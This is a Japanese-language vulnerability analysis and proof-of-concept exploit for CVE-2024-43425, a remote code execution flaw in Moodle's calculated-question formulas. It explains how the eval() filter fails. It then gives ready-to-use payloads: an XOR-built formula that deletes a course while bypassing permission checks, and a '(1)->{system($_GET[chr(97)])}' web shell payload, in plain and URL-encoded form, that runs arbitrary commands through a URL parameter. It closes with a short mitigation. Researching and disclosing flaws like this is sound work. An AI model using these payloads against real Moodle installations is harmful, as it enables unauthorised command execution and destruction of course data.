
CVE-2024-43425(Moodleの計算問題フォーミュラを介したリモートコード実行の脆弱性)に関する詳細な技術分析と概念実証エクスプロイト。根本原因と再現手順を含む。
アプリケーション名: Moodle
ビルドバージョン: moodle-4.4.1
影響を受けるバージョン: 4.4~4.4.1、4.3~4.3.5、4.2~4.2.8、4.1~4.1.11、およびそれ以前のサポートされていないバージョン
ダウンロードリンク: moodle-4.4.1
Moodleのコース内で問題を作成または修正する権限を持つ攻撃者は、計算問題に対して悪意のある入力を生成でき、基盤となるシステム上で任意のコマンドを実行するために悪用される可能性があります。

qtype_calculated_find_formula_errors 関数は、Moodleで入力された数式の有効性を保証し、構文エラーを防ぎます。

変数は 1.0 に置き換えられ、数式は小文字に変換され、空白が削除されます。


主な検証ロジックは、数式をループし、最も内側の左側の数式(ネストされた括弧がないことで識別可能)を特定することによって実行されます。その後、この式は 1.0 に置き換えられます。

最後に、正規表現が追加の一致を返さなくなった後、数式に安全な演算子または数値のみが含まれている場合にのみ、数式は有効と見なされます。元の数式は eval に直接渡されます。
結果の検証は、不完全なフィルタリングの後、数式を PHP の eval() 関数に渡すことによって行われます。検証ロジックを回避するには、2つのアプローチがあります。

{a} のような変数プレースホルダーをその値に置き換えると、値が () で囲まれます。上記の式に {a} を追加すると、'PRINTF' に対応する結果は 'PRINTF'(1) になります。したがって、2つの部分(a (関数名)と a {variable})からなる回答数式を定義できます。
2) 未定義の変数は eval() 関数に渡される前に置き換えられないため、数式の一部として影響を受けません。また、変数名のサニタイズチェックは、数式の他のすべての部分に実装されているチェックよりも厳格ではありません。これは、PHP の object->{"member"} 構文を使用して任意の関数を呼び出すために悪用される可能性があります。
1つの変数(例:{a})を持つ計算問題を作成します。

問題を保存し、変数の値の範囲を正確にコースID = 3 に設定します。

問題を保存し、その後、式を次のように編集します。
((acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2) . 0+acos(2)) ^ (8 . 4 . 2 . 8 . 8 . 3 . 4 . 0 . 0 . 0 . -1 . 3) ^ (2 . 0 . 0 . 3 . 0 . 0 . 0 . 0 . 0 . -8 . 1 . 0) ^ (0 . 0 . 0 . 0 . 0 . 0 . -2 . 1 . 4 . 6 . 0 . 0) ^ (0 . 0 . 0 . 0 . -8 . 8 . 0 . 0 . 2 . 0 . -8)){a}

修正した問題を保存するとエラーが発生しますが、問題は保存されたままになります。問題バンクに戻り、問題をプレビューすると、DELETE_COURSE 関数が指定された ID のコースを削除し、権限チェックをすべてバイパスします。


計算問題を作成します。回答数式を次のように設定します。
(1)->{system($_GET[chr(97)])}

式は 1-0-system($_GET{chr(97)}) に変更されます。

リクエストを傍受し、次のように修正します。(1)->{system($_GET[chr(97)])}
%281%29-%3E%7Bsystem%28%24_GET%5Bchr%2897%29%5D%29%7D

例外エラー system(): Argument #1 ($command) cannot be empty が発生します。

URL に &a=[arbitrary command] を追加して、目的のコマンドを指定します。指定されたシステムコマンドの出力は、結果の HTTP レスポンスの先頭に含まれます。
A=id

A=ls

/question/type/calculated/questiontype.php 内のサニタイズ関数 qtype_calculated_find_formula_errors を修正して、計算問題が使用されない場合には常に false を返すようにします。